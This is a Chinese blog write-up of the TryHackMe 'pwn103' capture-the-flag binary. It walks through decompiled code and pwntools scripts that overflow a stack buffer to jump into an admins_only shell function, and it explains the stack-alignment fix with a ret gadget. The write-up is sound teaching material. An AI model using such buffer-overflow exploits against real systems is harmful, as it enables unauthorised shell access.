pwn103
题目
https://tryhackme.com/r/room/pwn101
checksec
Arch: amd64-64-little
RELRO:Partial RELRO
Stack:No canary found
NX: NX enabled
PIE:No PIE (0x400000)
Stripped:No
运行情况
也是输入些东西,其中选项3似乎是突破点
IDA分析
main函数就switch-case,不重要
看了看general函数
intgeneral()
{
constchar**v0;// rdx
char s1[32];// [rsp+0h] [rbp-20h] BYREF
puts("n General:n");
puts("------[jopraveen]: Hello pwners");
puts("------[jopraveen]: Hope you're doing well");
puts(aJopraveenYouFo);
printf("------[pwner]: ");
__isoc99_scanf("%s", s1);
if(strcmp(s1,"yes"))
returnputs("Try harder!!!");
puts("------[jopraveen]: GG n");
return main((int)"------[jopraveen]: GG n",(constchar**)"yes", v0);
}
除了可以输入,然后呢?
其它的函数没看出什么,除了一个admin_only函数
int admins_only()
{
puts("nAdmins only:n");
puts("Welcome admin");
return system("/bin/sh");
}
IDA中看它的地址是0x401554,所以?
现在的情况是仅仅更改变量已经不起作用了,想想怎么调用到admins_only()
这可能就是当时pwn入门看的那个方法了,先试试
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
path='./pwn103'
p=process(path)
p.recvuntil("Choose the")
p.sendline("3")
p.sendline(b'A'*32+p64(0)+p64(0x401554))
p.interactive()
嘶,没用,再探再报
gdb调试
当调试时,选3,输入yes
x/s $rbp-20h
显示的不是yes的字符串,嘶,为什么?
(rbp是会变的,在general函数内部和外部情况不一样,所以...)
看了下wp写的,它似乎引入了一个elf:
#!/usr/bin/env python
import sys
from pwn import*
from struct import*
elf = ELF('./pwn103')
defstart(argv=[],*a,**kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2],*a,**kw)
else:
return process([elf]+ argv,*a,**kw)
io = process("./pwn103")
exploit =b''
exploit +=b"x90"*40
exploit += p64(0x401016)
exploit += p64(elf.symbols['admins_only'])
print(io.recv().decode('utf-8'))
io.sendline('3')
io.sendlineafter(b"[pwner]:",exploit)
print(io.recv().decode('utf-8'))
io.interactive()
elf文档:https://docs.pwntools.com/en/stable/elf/elf.html
这个意思似乎是直接调用了admins_only的地址?不用手动查找
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
elf = ELF('./pwn103')
path='./pwn103'
p=process(path)
p.recvuntil("Choose the")
p.sendline("3")
p.sendline(b'A'*32+p64(0)+p64(elf.symbols['admins_only']))
p.interactive()
我这个还是不行,需要再来8字节
答案
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
elf = ELF('./pwn103')
path='./pwn103'
p=process(path)
p.recvuntil("Choose the")
p.sendline("3")
p.sendline(b'A'*32+p64(0)+p64(0x401016)+p64(elf.symbols['admins_only']))
p.interactive()
看了wp,说是 MOVAPS,好像是所谓的 栈对齐 的问题
因为用的操作系统是 Ubuntu 18.04 LTS VM
https://www.cnblogs.com/nemuzuki/p/17304843.html
这里采用的方法是在调用system之前调用一个 ret指令,弹栈一次,使得rsp对齐
通过objump命令查找
地址为4016ec
下面这样也是可以的:
payload=b"A"*0x20+p64(0)+p64(0x4016ec)+add
#也可以手动写admins_only的地址
payload=b"A"*0x20+p64(0)+p64(0x4016ec)+p64(0x401554)
内部分析
那我怎么观察这种变化呢
首先这种溢出是因为什么,观察下ida中s1的结构:有一个s,一个r
https://blog.csdn.net/qq_45521281/article/details/105416279
再来回顾一遍,s是被保存的寄存器值,r是返回地址
我仅以答案倒推,因为我输入的有40多个字节,所以:
当si进入general函数,输入完AAAAAA,有28个吧,如下:
画框处已经代表了前40字节,关键在于后面的8字节,其中401650有什么用?继续往下走
也就是general函数结束后会跳到这里,注意后面还跟了一个地址的值,是0
如果我占用了这部分会发生什么,它就卡住了
接下来看输入payload会发生什么,请教了Saikawings师傅下断点问题
在开头直接 语句为:p=gdb.debug("./pwn103","break main")
,这样就可以随时下其它断点,需要按c继续
运行后,内存数据这样的:
继续往后走:
我想这应该就很清晰了,ret本身占一个,后面紧跟着一个,使得执行流成立
好,现在将payload改为一开始出错的那个
payload=b'A'*32+p64(0)+p64(0x401054)
继续运行:
蚌埠住了,我说当时写movaps怎么感觉眼熟,这不就是当时PWN入门篇遇到的同类型问题
当时它的解决方案,是跳过一个PUSH,现在试试行不行
payload=b'A'*32+p64(0)+p64(0x401555)
可以,能bash,没问题!
总结
info functions 枚举函数,简单的文件可以不用麻烦ida了
disass admins_only
scanf函数
考察了代码模拟交互、elf.symbol只需要知道函数名即可获得其地址、十六进制对齐问题
有的时候只能通过代码发送数据,导致不好调试,所以有gdb.debug()
这是和入门篇一样的思路,只不过当时没搞懂,现在更清楚些了
如果这个函数里,输入是最后一个声明的变量,溢出后,就会覆盖s、r
如果它后面还有一个变量A,那溢出覆盖的就是这个A咯?因为pwn102是这样子的
参考
wp1:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/
wp2:https://razvioverflow.github.io/tryhackme/pwn101.html
请教了Saikawings师傅下断点问题:
https://blog.csdn.net/fjh1997/article/details/105434992
from pwn import*
payload=b'aaaaaa'
sh=gdb.debug("pwn","break main")
sh.sendline(payload)
栈对齐:https://www.cnblogs.com/nemuzuki/p/17304843.html
elf:https://docs.pwntools.com/en/stable/elf/elf.html
pwntools语句:https://blog.csdn.net/weixin_45556441/article/details/111310841
原文始发于微信公众号(羽泪云小栈):thm_pwn103
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论